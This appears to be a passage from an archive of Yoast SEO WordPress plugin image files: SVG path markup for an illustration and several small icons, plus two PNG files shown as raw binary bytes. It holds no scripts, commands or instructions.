fill="#c94337"/><ellipse cx="261.29" cy="192.8" fill="#fff" rx="2.18" ry="2.65"/><path fill="#fed8b5" d="M248 311.62c-4.81 1.45-3.87 3.4-6.78 5.82 6.29-8.7 2.42-14 2.42-14s-3.41-6.81-8.24-1-8 6.52-11.61 11.15c-6.78 8.7-12.57 11.27-14 18.39s0 18.88-2.91 30.49c-2.1 8.45-3.37 16-3.37 16s1 24.18-.5 32.42S156 436 156 436c-20.81 3.87-38.24 17.43-41.14 18.86-11.3 5.81-11.3 36.8-10.86 43.14 0 .21.07 1.85.11 2.05h64.19c19.31-14.08 33.32-39.33 33.32-39.33a184.37 184.37 0 0 1 17.33-15c7.35-.46 20.34-15 20.34-15s3.37-27.1 1-34.37-.5-25.17-.5-25.17 0-25.64-.46-32.92c1.92 0 5.79-4.85 10.15-10.65s3.34-17.45-1.48-15.99z"/><path fill="#eca96b" d="M244 310.55c-6.29 8.71-21.46 13.75-22.47 24.79-.6 6.62 1.25 11.35-1.51 17.92-1.14 2.6-3.27 4-3.89 7s.83 6.6.75 9.85c5.87-10.39 5.45-22.16 7-32.79 1.43-9.75 19.64-16.92 20.12-26.77zm-38.07 78.25c4 6.62 0 17.69-5.37 28.34 2.91-8.24 2.88-24.19 3.94-31.18a9.18 9.18 0 0 1 2.21 7.54"/><path fill="#393a3c" d="M240.25 366.79s-40.19-7.79-42.6-1.92-1.93 21.3.49 24.68 42.11 2.45 42.11 2.45z"/><path fill="#fed8b5" d="M482.34 500c.25-.74 5.81-7.15 6-8 .08 0 5.55-21.16-2.69-38.1s-40.16-6.78-46.94-15-9.69-43.56-17.89-49.88S412 369 405.2 368.27c-5.64-.65-15.59-4.33-21.77-4.33s-18.88 12.57-27.59 13.53c0 5.32 1 6.78 8.24 8.23s15-5.81 15-5.81a152.59 152.59 0 0 0 17.43 4.85l4.36 9.2s-31 15-32.44 19.35c-1.32 3.94-1.8 9.45 4.53 13.33a243.65 243.65 0 0 1 33.16-20.86c-1.79 6.28-12.81 10-18.18 13.61-4.65 3.13-8.37 6-13.12 8.25l.39.19c-3.25 2.32-5 12.15.73 15.57.22-.4.3-.5 0 0l.15.09c9.24-10.86 21.76-17.63 34.42-23.45-.65 6-9.72 7.79-14.31 10.91-5.67 3.9-14 12.65-20.52 14.48-2.16 4-2.62 8.59 2.93 12.4 6.31 4.34 9.59 10.4 14.52 8.24 3.58-1.56 8.07-3.92 10.26-5.09-.91-7.71-11.23-7-16.18-5.28 6-6.73 12.47-2.29 14.24-11.48a20.73 20.73 0 0 1 .43-3.71 26.42 26.42 0 0 1-.43 3.71c-.11 7.42 5.65 8.47 14.2 8.5-4.05 1.09-8.67.47-13 1.71a6.84 6.84 0 0 1 2.19 6 28.34 28.34 0 0 0 5.68 8c3.41 2.9 5.77 1.16 8.73 1.94 6.61 1.73 13.57 21.28 21.24 29.59z"/><path fill="#eca96b" d="M406.11 405.76A243.65 243.65 0 0 0 373 426.62a17.85 17.85 0 0 0 1.86 1c4.75-2.27 8.47-5.12 13.12-8.25 5.32-3.64 16.34-7.37 18.13-13.61zm-30.18 37.62l-.05.09.05-.09zM410.5 420c-12.66 5.82-25.18 12.59-34.42 23.45.19.1.36.22.57.32-.35.52-.68 1.07-1 1.62 6.52-1.83 14.85-10.58 20.52-14.48 4.61-3.1 13.68-4.91 14.33-10.91zm-9.06 24.2a26.42 26.42 0 0 0 .43-3.71 20.73 20.73 0 0 0-.43 3.71zm1.21 10.21c4.32-1.24 8.94-.62 13-1.71-8.55 0-14.31-1.08-14.2-8.5-1.77 9.19-8.21 4.75-14.24 11.48 4.95-1.76 15.27-2.43 16.18 5.28l1.35-.73a2 2 0 0 0 .11.2 6.84 6.84 0 0 0-2.2-6.02z"/></svg>wordpress-seo/images/text_link_counter.png000064400000032274147510273100015103 0ustar00�PNG


IHDR�����`PLTE=lVVWL8444!N{t�!��6�$��)��%����i�L�����|R~~~������������e�#����fƜmmG��I�Я����_��M#m�6�4IDATx���$1EA}���2�`i��"3�A~��vH��Q����IR{�o���I�f���t<���,�u�J�"��sy@���������u�sz#���%�z*@z'�C�u�u��
�>�Z�*ۅ��:3g=�'�� �����$}(�(�Nf���K�1��O�����H��:s,Ջ���(�F���>7�mR�}��eT���n%�z�~�n ��sy�nd�9��D�p���N��)�D2�Y�e*_ep��WI/���A���b�KHq1ٻæFa �]	h���WO/����Ȕń��7g���&���������}���Csu���������\_�ݽ6<��8g�����t�׋�@��tq��w:З���1�g�Л���݃䊀��9�w�}�\����;d��na�t��X�'oN�~+�C���폡�B�(|��FХ�Cv��M:�3��CW�6��[8z��!�/�+�7��Ƣ̡K3�Ν��d�Џ�b����=?}�!��ۿ�1*�w>Ρ���z���n4莻kt{�?�΋'��ҝ�޾s��Q��+�Pz��S�`]Eu�-��x���cg]#�T�߁��k�?6�	��4����<��gCkua�ԏ�l�;�]3Ae��������c��TCQ��R=f�f�TEs�wu*G�G�>���-���iJuj:�e��4MsQB:�~��E��3|~����tz��E�)������S-]�S�URB:�6��"���2�/RO���낮�u��쥋#�@_�L�P|�t)��CL����@���_��tѻj�.�݁�+�O*�����V�~�g[���Ƹ��3�.u�_�@�v���m��R�Ё~�x��C����Ё���_V����gמCw�}�A�C����CW:н�۵��9��t�'E�9�s�y�E@�(����CG�i@����CG�}@�:��'k�H:�7ޝ+�����@?u>�l}vH�6��+�ۇ~�Rt����=t��@���}�cw������.����vSU��>*�3�W�@�7�>�e�nչ���i�b؉�u ���?��ե��0���{=��R���	�dQ���E�@�l6t]�iu�nf�3�Ӗ�������[����Л�����=�=M�w���wY���h���B�is�,�;|�M���ņ�ׁ�9z�˒>�@O�}�����f��aN#s�[O˴Z$�c�Aj��x���BO��~���L�U9A�����@�8�]���ݷ�J��~�J!蟽r��U3h����U���9�����G:z���w����9�bIgƵg��s´�t�c���߁���Y:G�AGa�$=I�bI��9\��a���]ߌ�k5wz����S]������D�I|�orOw����fgf�3H���U��c��6]ag�gD�E�	�/�^���]��D����h�Y�i,���;�����h�t~�8�
=	B��G�%?~A��eu�l�Ĉ=�ο�W�%��/����g���ӡ#~�WJ��:�HAz9o8����tW{v����9�
�:�G����\��f��7�7��~��Q�tA臄@N��:R���z����@���ӌ=�o����a�H(�h]�,�&	�}�v3�_�.=��@G���t��"�~X	z"Х��۷�t_�z�M�b"�B�OHv�����Ьog\6o�;�B��5� �ے~h�N\ы١Krx͆GֺL�[8�N��&AO�C?\9>} ]�ON���'��Q�̹R�[�
'��Џ
��d��*Х�O��>�?�5w�z��>�K��;�}F�@�FBG��m�u���M�bA���t~츋Z\d�CG]z���6m�z�2�f�L�f�yZ��j�X�l�2U�0t��B�KC�д��υ%���q�Y���(SKT���m�o,:�I�>�:��{�u��U�d����aO�?�c�����^"橉���Q\�诡'���)O��@Gp����(+U��hF����w�Cev�c1�l�nbw�[:ޤc�{zz�.�:�����{	צ�_P�.���
�-��%�
h{����<��6~�{q����}^��$���U��9«�@/&B'��J�}�3PzHn��#K��@/�[E<��S�ɹl�t�>��Г��B?���:���s�J�$�'%Џ�sA���[E���'*�|�?^�%�.�?_	:J.��0tb�]{��K]���:�Q:���o/�5�P�@2���3n���(������B��@/�B�^�=�{��9��U_�@��3���@�C��#�y�9��+I��Iҏ��M�t4��n�?
t�.�c_�+��( �8	���B�}{�r���G�=��vӶ��A�i�[φ{~�g�/��.	t�Υ��班��g�c
�pN�q�K]��n���_����(�M�7�ڦ+t\|޴�Ju���R� �?�]��S����M��y:&�6t/�����7�K�k
��ݬRM�o�X�'_�C������Owy��Jz�m��l���vMU{��ם�U}��]�ѵ^�l�y|��w������O��$W�;�z˟�.Г���!:PNл�}{A��ˉq�=�gNwW��P�dưٖ��w���~�:/>�A���8]�iy�rNٝ����Ɩf��=��7���՜�ꅞC�5z
V�DI?z�����^r��\�i�eo�8�r0�;��m��|:m�C��~>�
�vc[�̈́��9W
�IƁ�[1�9�N��qu���?MfC#�f�^�	�C�mw��W�-w�wY3�^�����E�Z�N8�J)�mz�s��T2�9�S'��_�.G��:��{��Q���:u�[X=
�1���̱���v�%�|����+��dc@O}^㇂��J�K��l�]ޢ��M\��4?�n �C��#1���~jCO��3�ˊ�b@W�>�q�sj��$���!��5�-]Io��vљەڍ͚hЏ���=�jcOP-��O��7ݽl����ݔ,���2�J%~C��q�&C/�Q�@|bA�t�*A�-w9��w�9�fhI�H�H{.O�FE�t%�t3�̸f�fld�Q�K��T�D�A�yߖ�$�;g�3�{�{�>��gS���#�D���>>rD��>�-�w�Τl
�7�M�}��5-o]㞏aᡃ�=o�o����*g��?�������i�zt�Yw���tgF�tU@�1,<q�3�4�t|�\�7��Խ��f�d:S��ޚ�J�ݧ�鏉�`C��!�����뺒�:�#l�77�,��J5U�݂i��t�
/���{���֥hӕ3煒�	:�#��sy5l*��&�Y��{AW���kՔ��Xz�k�ap�����Jz/���&ݤ(>㣷��tA{ӵ�U4]�KB�sY���|RK�:�7���zr@���+I�GM���B��#O��0=O?�k%	��	t�Y�=�~�n�=>%-f�<V]�+*ɇ�.��<��?sq.	�W��B�U˃i������\�]�
t,��ꛠ�4��B͑$�z�/0�ۻ��y�'j�$�.�Ճ�R ����݋s�.�#E'�Qţ�9����\�]=�H��WN��at��V.}�]͘$��J�9/�sY��O�t���[ȹW�@���t�$��tI��>�iң1�K�)�n��M��\�Uf�ɪr�㺬��I�a�o/¿��4W��C+���\ޡ#�^SA���1��Θm�����㕡IV�ywRf���uK���ѵ��u�9*�$�a5�J=�A(2�>^n���R�j&�"�4�,��t����}���	t8��Vr.��F-�
Lu�9{��jK��;1Yv���9�n_nV��Uo�G���x��T$ZIݤ�3bK�cKu��=n]w��M����z��УI����<�N�s�ΜF��/�l�qt�n0�O��[:��+&*Dž�c˛�@�&��a�"V�oa��m~+&���O���3�^I��E_ҷ�ob;�m-�=b�p���%}}�*�;�w�x�9A?)��@G���9ƚ������t�t~tm�u�rG)�����7�MS�9�l�wr��&p�ߣ~�|���3~�>��d��Ŝ}Zc��w��n��{�4<\���G <~��w�����N%��r(z��w���F$b�����e׃�|��{�r�t�D6�s4�st�!��
�<r�+�]�۰Ÿ�~�[:��M����:�ӻ�^6R�?�?>�����)ߒ�G2�/��KT�:��@c{�3�
��؏�4*��-���ؤ��6麦l���m‡ז��N%&:���%�q�^��T�҆K���Mx|r�����C�%}�r�^(�$g�5
U�2�wf\��U��m�&}���H���,Ч$��>˹�+gZ��?���LX�]^�*�3�}��A�J�k!4*j$^6�o
O0]Ӳ8t56�7d�\��B%	�mk�=�U����t겡�wx�~O��t��-��%}���(�2�'��ZI��tɠ�Y��rۙT���&eս�5�M��BW~�����'J�wҁL��]PRU�q>������{�g&@�w�;JFh���㕲7	�
	I]V�Y�7��~���_�lz`#S���7�ݘW���6Nﻗ�O[��J��:=i�V��&=�q>��Mn� ���y�J;ݑ�<yO�rG�yL]>�eu��x�j�$�.�'ʛ��c��$��*;�Q‘�sN��b�@���
w���B��$�z¤Ns����$��JG�P����9��ժI]�k�5�s�P�&	t����	��>0��$��ZG��ij���Z7I��$�s�P�&	t��|l�l�?WR��@WϔDw��W+'	t���87���)%	t���2HOb��Mv���%�7��LSv���./�V����ۈ^W�u�o%�#-�P'$��:���]7��%c*�̮�h��6�0�����@�|�圠�nw��!�o�W6)��Fpkt��S`dp����T�9��eo�@���7[H��F]aD����d�+�1��'A��\�����@O�9IO
�$��;�O�m�(�ߊ��$�s,�7N��}��"�o��#p�I��]F68r�@�V��l�]��	t����k���
����=�����t��t
��g��&�G$��׊�α��nw�NX��gG�']��]�	�x�]��	tǡ�w��zZ%��h��fn��d�Id�]��v��_��Q�[1�fb�bJ)�-]
z�%=ubi����묕�.�-�_C}b�ѹW���q��n��Jz��|�v�G�ա�b�f;�'^�uK�3�ί=��<ܩ'ರ�٦��sμ>t�-����ea��Y,u�+w�'��u/�I�ѣ׋u9���y�8z��q���̹��6�X�3�0	<i��r�@�I��;�{F�gY�%�m��$0b�+,�=L�':lş�u����j�_[G#zF3i�z^7�[9-�{K
�Z���F�w��\�r=z�y��EʹʴG�od*�}]���V�\�>�N�
N���%�Z�n[��\�=j�MgT�Ҵ'F��3ʔ��z��w?�s��h]��
ȑ��A�5�H��(ӗ���Ru�a��oU�o%���p��i]�cQG)�{��T
�D=+i亣��iL�}+�:���qΗ�j]��4m��ֺ�ZQC�RG�o%�Ç��QΠ�F]�Oj��=�h��9b�W�.	t��NM�����K]�9�s���i]�=$��l��B]�tj������P��z�(>s��uI�t�Z|#3G>�R�@�3H�(��1貨t���3����d�(	)I��{�za��S���H�}��k��A�������ׄ>]�$�uY����H=��z�y3�����W~Z(��R�@�+�ٕ��W��J54��w¦�E߿��߅~�՝V�>]�$���;s��M\��nF��U��ʥ�b��n�C_a�;���b}�t�5BM�b��&��4����FW��Vt7��t��-�����tZ�t�@Ϻ��3ٖ���:�k6�2L��������@�s� �A�r��q�C�=�5r4„F�ץ�E��f�ޤ�AWx�.K��zI��^��}�:�ݪ>�Ǡ!����%���s���Q#>��@lIC_so���;�<t���z	��}�����C/b8�ׂ.K����k�?=k��㷿6��7���D�����[�A�%��@O�Gz�R�����d� PGi��o�k<k�貤�L�t�y�r�v�[z2�;�VX�uQ�9軵گ�T��ޛt}&����$���:5��*K%�;�?�.��s�	:��C�oI?���ƴ5uYUj�L�龳˶��53;t�,�3��ߧ�#�������i{�ty��W��*Xi�h�r��-�o���u�+n����Ѳ;ݟ��o'%gePyq�X��IQܠ&a��A��v9������k���+`�g��n[�>^�D���M>��
O��2t
��N��J�p��z��p�H��Bw�����~$ڇ���4�e���^$�_:U1�O�ń�Yk���<�IG�-�O@�z:����B�����#9���+t��8$�_:�+K�,���1�]�.}�m�s�/��-�?���^���lI�$�EB�a�W�h�����n���d�0	�:�_����u���A��}�'n�3�(�^�uM�X4]7��u�ǡ���::�]q�ڮ�]�3�sFW�Q����U�tGe�n<�ڦ�{�
��I琾�5tڈ״�׶�Z������ӽ���jm���;�j�R�m��2�F�R:k��T�#���yj����v?������Б��w�,Z%X҉���]aG��(s��ʭ�2��G��~+��Mԑ3�C��;�L���w�G|�NY�&�
�CGy�Q�����4��T�z�:|f��J#����ʰQve`��}æ_23i�n���93�0�=���8"�L9����7I�B]>�e������E�M��'�<�:SΠ|W�d�e)�����yXz��s�AO�rt��%|W�h�
]����Νs��S�����t�?E�9S����^��v�.�',��9�>?��i�Qe��i?*G'����.���K:�?!�>���/�M]��sW��8O��f�*�.�#�K�wN���-�5�9����t��'�p�
����7KZ��ώ;�5����Йu{;׵82���Q˔@�a;��+���<"tTf)�ٞ�e�*3O�@�/�g�z�'��:�9Ҫ]Y9r��9�<I�?�=�a�V���>�9�ǵ��|>�H��qt�s^�q�]�*��}U�}’~Fq�#�'*G�x�w�3�U��5��]q�Lm��@�yI��p�z�����]���8������]q���+�.��^��(>uh�[�=����K��;w�p�ҏw��MS�k�.�g>�~FsQ��K_�9&����;g�C����9[{����]��t}F�SGkA�Y2�I:"W�ǻ���F��8=�]��@,���{Y�zRܤ�z��l������t�.�iI�1��uΠ��ұ}}�z�ژ��~�.�:��ck]�k���S{E�z�ݱ��I�.l_+ǻu�[�d�.�U�]��Z�9�;'��qM�*�+��~���}�]�t�?�����'ŭC�2s�_t_���/��=YF��?N���.s=�Ӛް���_'p��Q��ٝk�ۚ�~�]q]��q稭��	Eλ��߷
]�q��v�t�.�}YѭH	t�>�8}����Qr_1=9���H���}�,�oΝ�gw��a��@�y�<K+3���ñ���Л����.L�SS�{�oص@�3o��gk�(	A�d����e��K��3c��TJ��y7�y�W���ֶ�g�k�^$�ge�ґ��k����@�3o���hI�9ꇎ:��Gz�2.U�����sf�s��YF�t�x����8J��	6d�mw�^W�;G3�,��Vw
xg��@�3o���
��(	Cl&�}y��Z5���A����Ƃ.��J���z�;-�{R����lR�fc��}o�X��@W?�U�������
�ɡӭe����w'J��F�鲳@�EK�M�34Ȕ�n��?��s�έ��#�Z&�k�.y�G����b�Ι����6��g���?��aw��t74Iwt@�e�_Ꜣ��^�s��A?����-5����K�S�"�i�y�[�C񭆾���[@�:���s�s�cs���J���/��r�q�:��9;'@���~�<����s��O}�t@���EwOL��t���z���A5ܝk�@��M�}�C�S��yw���B���3�~M���Bt@G�{��}���+����7,t�N�耎BWz�-y�Y0�k�y���3Sq
]��
�:���3��݆>�\�zU���l�g
]���F�g�"Stl7ze���}c�)^d+�:���gGP�qݖN
�d�7�B߮��V�;�t�v�u@t:k�l�w�?���JRU���g?fW5�v}�
�
��(�t!��^�.�m�����Nz��8�p���w��Mƥ�st@t#ɯ�G��>;�}=}‡����Л�y7�z���À���O��wn�t\P�YC�1J6�n��[7�ĉ����E�xj@�Й�J�^�G��Ǡ����%����M�.;ћ������>�\COa���*]���1����-cQ��1r���zr���Ѓ�Uݞ���W&��oX�^�yJt@G�3	�!��9];�
[�f�r�4g�knqԷ���Jt@G��Q�½��9:NAo�Sqν��=:���G�s�����ްYн����+]�ցpR�Mc�X�st@�9s��U�}�ǁN���k��;����~m�v%�N����y6v��8�߁��%g�����cw@t@O�yb�N�\��8z��-!�	z��2���žY��,:�c�.6�O���8ٻH�z��F��C��u�.�n����관�;���P�W謡��9�ٳ
I�3���;Շ�U�:/:�c�N�>�'�н4�@�L*���|���
�E9�<��:
�t:�Cc�Lzp1
twK(<:�쩸��m��<�@��A��ī�/�Y��#7����r�a�+p~�9?-�U:��ʓ��~H�W:�e��*�G�K���.M�
����}a��4
=��5v�D'��݃�?0g>c��6�]ד�9�t@_V��P���{^�zy\�觡{�Q�}{W��o�L�7n��?�m�\��*ɖ�:�:
��R�z��p�ؙ�zLa&��%;�o������"��3<��r�̀nVzp���{�������2ݤ�M�EC��Yw@_�#z_�t�C�Q���yG}zPЫ|*Ύ���:�������uB��3�)��(��%�
�t@�T�:Ο6K��v�C}蛒�����1t@��b�ʷ�I��=��>Ɯ�����Bt@��)Ch���'*�+�v>���t:���b���+������E���F����:�/`.�/��*�9�ҍ:7����)�^t@_te����\3�U����s+>��-���h@�:���S�����w�+
���,{
UU=q9���	�}��D#�@y��U��?�x~��%j����vc�m�S�~�L�z�5b
S��JO�m�z?$������-���5���m�tb�����st{:�sfkخ�+�*�}��T�����C�M�����v��ا����'��c��t�V
帞���K�.��b}���s�>�⟕��⌱{B/2z��\�Jɸ�gg�^
]"��r�:��:o�#yҩ�[���f���)�y���,R�װ���HI���9�>g�뼃^�Ƥoނ~��uB��\t@��9J�3�fn���^:S�\A�?�k��V���9��
Lv��9�W�>K}���V�Џ�.9:�/:�F�tfV�t��e��������?߄~unK��:�:=��\
���E��V�1�.���6�h�6uL������>�*fz:=��_�L<���|�~?��ܖ��B_:������ܱ�z>W�n0ߏ�:���W��T耎�;�GWz�XW���\Oĩll���O�)t@t�tb�ϫ�<�Z���O)t@t�q�z��7��H߫(^%Sq��OK(t@t�@z�ϙy��i��d5��ҧ�������r�j��d���sc*����/�
耮���������t�'��Y��˛�ׂ3'���Е�|ǹ|��T�9M�yh���T\HKeBg���C!�sZ��Q�]Dr^�z𾷝��+�3���u:�S/C�)<>��<���_�:��T���֒��L���ϐs��	]������U6goE�(�z:t@'�0�Y-K�U�f��Ƴl>r�j����N�t@�M{��ml��ͣa�T��6�������躵zW�aQ�p��jf=���-AM��y�G��g��z5'��{s�9rA�耮��>�'I����:�W��������Uq��$w���R��[5�џj�)��|��ڸ
�|*�z�֛/����ߞ�9x�_����e��J��O��N��Zէ�/t@t�vN�'O��mk��\W�~ϙq��x*�N0f���qm��=���v�f�}ȝKtU�T
�?��E�0��W:�:���s5�ޚ��4t�O{w��8�q\��!�Im���.���2�k���E��"�����<��la�L�(��N=8c\��.ߪ�R���	{�:�tU�s�?�K�v
:�:	ኯՆ���'��}��M�<uk�':�:g�Uڇ����.�<��=?��?�ӿU'���}�ť���݇z�==�ӿU?~���\�����ۇ���sϏ�p��:Q����<7@t�٢�K-7���4u�~�i��k���2�7Km��g^+���p�d��O
���ٴ�|=e�2/;u����x;�:�W�s}?��y����9�|]�:�S������k�Ot.�p'}t�f*�:�[������;�5��c'���^�p��]>y��
}���ߛt@�<�����{V����3n���s5���m��@+9g��Q������L5�w��_�ټsU�o���O������d�{z���m��8iз����C���{-���9�:��
��6t@��tY�B����ա���{t@�"t��?�s���W;���q�>JГ�_���%%��V:�{��-:��8jA��_|�9�7�X����+�wf����:��;�z�]6��JGq��9t@�ˡ�p]�|���B���Q�G�s�.̗CC����w.�?��?�'
z�D�5��}���+��>|׹�
]rDZ�w����p���=ȜMI��*�B�^���c1�w�t���K�<��]�y���y�n�������t�����Vz2�S�_r��5����S8)�/�K�K��y�K�ʹ��7�K|:]]�K	�6���U�_<��:�;m�@q:5�g�\aޝi4@�%ʥ��ǘ䯤+8?iC�������At@Wg.����<��s�u�;�(k��<j�ܠ:��3�F�cz#�y��KF��{k�5@t�Ĺ/bZH�/tnY%���[�$���wk��*̥X�Ny�e�+Bw�f�s��������H��m�\�[�8kP��}�=�~���ot�\z�sv*νi;@t}�R��.���a�y��޲Z�|G�耮�<t)�.҇z�</���^!g��]ݹ3�o���'�a�9�g;g�à:�;5�!Đ�<t�}�n�<a��Κ�1��:�ç�Pt�IO.��&��֠�A��
З3�_���S�	�$e��j}:��r�!�,�^w�~q~�2'��3�s��n�2�	�P}�[�{�?���3��Ы�\
���k��@�L^,=�9�a@�9O�����H�}��<���a����<���T�\���%{��à:�g�g@��˓>{���9Q�����	�8�'�~��9��ֹ4;�1\K�˕��Ι0��9豘�������1��'?]�*�V��a��D�]:��+:?��CqХ�%�Af��
��/�O�Ty�!��cv�M���.���OOza�c���dзr�c߃�~����K}3�R��:�s��NJBq�ZqRǃ�Χ�n�/���o#n�A�����yNz(���5�aƹ�g��8@�:��*��XW�н��:�>��Mݞ��9>�ʂz��6u�}:��);O��w:�&���g[:�>��4Q�|9��u��+�ɠ:�s�<���C�L�}1�5�g���Υ�s)<:��R'���f��XNy�y���w��:7��;����+�۠:�g��#�R�<4�{t@t.97�\P�Cι��Y�s�%Zs�G^�^��䜛��zw�čC7�_z��dc1�#w^1�z7�y,*���zl�9w3�覬\���c#ι�At@7e�RP�Јs�c���zw�y�rt@�ڠg��CǠ:�[�A�B'^;:���z̞����1��V�Q���|Ġ:�+O�נ-��1��ViЃ�s}�t@tT=�9ׇ��Y��b�tn:�]��_���I�At@����C+Ι0���e�'�܉���At@7A�ʝx�� 耮)�P�r�� �t@wA�̝�w���W�at@tM����2�et@�BN�9w�4:����܋k�mt@tM��1���Е�'��)�At@�9�K�����]Q��K�9g0t@W�.��9g0t@א���-�
����֩���IEND�B`�wordpress-seo/images/Yoast_SEO_negative_icon.svg000064400000001124147510273100016043 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" role="img" aria-hidden="true" focusable="false"><defs><style>.cls-1{fill:#444}</style></defs><path class="cls-1" d="M13.56 0H7a3.5 3.5 0 0 0-3.34 3.4v13.16A3.41 3.41 0 0 0 7.06 20h6.5A3.41 3.41 0 0 0 17 16.56V3.4A3.51 3.51 0 0 0 13.56 0zm1.9 16.08a2.37 2.37 0 0 1-2.35 2.37H7.52a2.37 2.37 0 0 1-2.35-2.37V3.86a2.37 2.37 0 0 1 2.35-2.37h5.59a2.37 2.37 0 0 1 2.35 2.37z"/><circle class="cls-1" cx="10.31" cy="9.98" r="2.15"/><circle class="cls-1" cx="10.31" cy="4.69" r="2.15"/><circle class="cls-1" cx="10.31" cy="15.31" r="2.15"/></svg>wordpress-seo/images/alert-info-icon.svg000064400000001065147510273100014336 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" role="img" aria-hidden="true" fill="#00468f" width="14" height="14" focusable="false"><path d="M256 8C119.043 8 8 119.083 8 256c0 136.997 111.043 248 248 248s248-111.003 248-248C504 119.083 392.957 8 256 8zm0 110c23.196 0 42 18.804 42 42s-18.804 42-42 42-42-18.804-42-42 18.804-42 42-42zm56 254c0 6.627-5.373 12-12 12h-88c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h12v-64h-12c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h64c6.627 0 12 5.373 12 12v100h12c6.627 0 12 5.373 12 12v24z"/></svg>wordpress-seo/images/alert-success-icon.svg000064400000001012147510273100015043 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" role="img" aria-hidden="true" fill="#395315" width="14" height="14" focusable="false"><path d="M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zM227.314 387.314l184-184c6.248-6.248 6.248-16.379 0-22.627l-22.627-22.627c-6.248-6.249-16.379-6.249-22.628 0L216 308.118l-70.059-70.059c-6.248-6.248-16.379-6.248-22.628 0l-22.627 22.627c-6.248 6.248-6.248 16.379 0 22.627l104 104c6.249 6.249 16.379 6.249 22.628.001z"/></svg>wordpress-seo/images/link_suggestions.png000064400000041133147510273100014724 0ustar00�PNG


IHDR�����`PLTE:T^�(j/JTy"Z\gg�pC��VlM.�a�y��ڰ��������痶�������'n�3��0c{���“����@5*6ϱ��N%���u�'�`-�uNRr�ȟA�IDATx��j�0DQE��߸K
A�����;|F�@��H�6�iG�����G�ХV`�	hG��x't@�x7B
(0�ؑ!t����(p�:P�xo�8�	S`�	�#A�%X�1�ED�f�J�{#���LD7G��Е�y.��@��e%�'��;���#��3�B'��._:���b_�D���V`�	=��/H�I��9�;�;T�O:���rR�x't!�S:�N�u�x�s�P-�]��ӓ�ҷ��N�=��+&��-~�9)=C鄮�7��Gwh��7��WK7�N��<�]�������Z�ݡy���f̋����&��g"`ҫ�^)tB�o�!�)M:��T��Ig�	}��g���f�N:�/��s\��]-t:_*�;�t��	=��K
���'�!z�7B'���v�N若��I'�O��C�x'tB?Kw0韋�j�͡Z�L�t�>��u���L"tB_��p�U��	=��;�N���;^�{�����~<uC"� ����bÀXZ��_�*=��N���#�/�����wێG�!mʌ�t���t��p<ғ<�r�3t�㶒�q�e��NK�"7�Ȳ��yQ�x��W�|��='�	r�{=Q�It�f�-�s�+�3t��~�9�:uΧ9v^]�y毭g��ЉV�v�1w����4=�
�}�C������>7�(�+���ȹ/���O�����Mz�����T_��1r"��A��t�>n��ؤ�;r���/gӦ��D\�{m:C��G��v�%b�N<�_M�i�;O�}5	�t��C��C�]�����1�;�=C_Mz^��.J@�vn>�vh�'U�
��y�Hu�U�u�M�O��W/��{W~���������ߍ�8�<ןO��
��i�uc��u= �[�r$=�J�wΦ�r�}3�o��< �׷��WNC��(1���_p��\���<n��:1�
B�W@z���!�yd��p�^�gW���Y\��_�����t�Os�
C��1�&���<�t�Nt�gm���:弮��x=@_p�>l�E��;$�G�gk�v�=>��I����c����܀�"+�KE�e>�a�k�N�{m�9p^:/߅E�	��Ɖ�w=�����_s�C])}5���}�R���tb��9��t�nҮ�z:C�[��y�k��������^=#<u�:N�3tp�.������"`q�t�1��gۋ/��]wK�2;�9H_�9!=�x�ϼ�=[�s��Z�u�_Bz��y})r�j����J5?ԯ�'N3�W�$t�>���Y0γ��������-ޑ�:��_�~���k*�Vu��M���Ŝ�NA'��Y9�����sa�
d~ޥS�Ԃ�r�0���e��MM����9�	�d�R�h�>�\�a�ߥk:�c�_U�gz�m�:��}c��/��	�΅�(�~����cd���\9C��T躾�ǝ�b�W���{�N��4�H�~�ht�p���ɣ�m�Z��CW{�������%=6�U{��y!����3�f8����+E[��/ةcn�n�1tp	�a��V����R�O������s�%�2-���ß�+���XߺtYĘ�v}����I�	�A{���Fz�_��㡗_�:�s�Kl\�ɷƜ����9@��5�pA��y� ]�Û�U;����0���)��}d�׿hg�s�>�bW����]~�jK���Cb[g䤱>;��c6Ȝ�������;\>�Y��̛�4�g�P�:�<5mEy��,O��b��v�~ߚ�}�
�9��-۝[`�ӑ̱t��>M��[��󺮉�QM�Hu��]��j_���h�t��in�H�|�[@�Ёm缆�;uzxB���	�nt݅�7�F�I�|�@�Z�}�md�3t	fC��Gé ����Y����W�S#�ȅ��0�7�h�֞��O��o#��E��A�
_�C�)5�9a�8����jmi��,��9�������4@�Y�:s�G:�>-��vNB�Gci��HE`;��?������9�2�M$�ЁzMMtB�>?9�9��8��A��tr:���ЪO�y�)o�˖�
C�D�<�>���jD��BW!��@�G?���t���?�cj���[��q&��}����oh�C]�_/��in�y�t裷�j=��e�r��t�O���i��7Q�d����p�I�Ƈ>
��;��:H_�&ݦ�e����Hg���砃iH��+
��ץ�7�|\�s���?W]�$ɧB�Ҍ�o"��
�p�Gz�:���Ws��@�,�n���ۿ�O���q�����#I�˽��.�f��}����T�f���O�G�������ݛ�>es�&�TMp�y(5}��	�zzݳ��+�T�����#�'Bw����;t
ЛV]r�8i�C�e��H���T�zXz=�9�u?�C��R��:WW�}Mʡ|��{W��7%�/w��I� 
�G�A��J�˛sՀV�ڕ�H�M�Iwk`��C/|C�L"
]O�^WІ��k���f�0�I�@��VZ��HW�
��@O>K��{~cn��b�۽��Q5
�Pz���K]C��д�[t��.��:���i%4��w�U�����=��!3�F:bR�oc�:�b�u�C
����do�K��Л�9VI����Y�8v�W߻?u�q����J��aϾW�.B����
J"�$���@�ν|���7��?��.JG@���.A?��J���q>�?}Kݽb�8A������]SIH�!t���=�½1ta���b�ܩ����Uп��4�@=~{�@7�ҕ'�ߧ*��y�3t�?4�x
�a!����=���{6K,�A�TX���9O��Љ�τ��Q]�	��s,S<|�
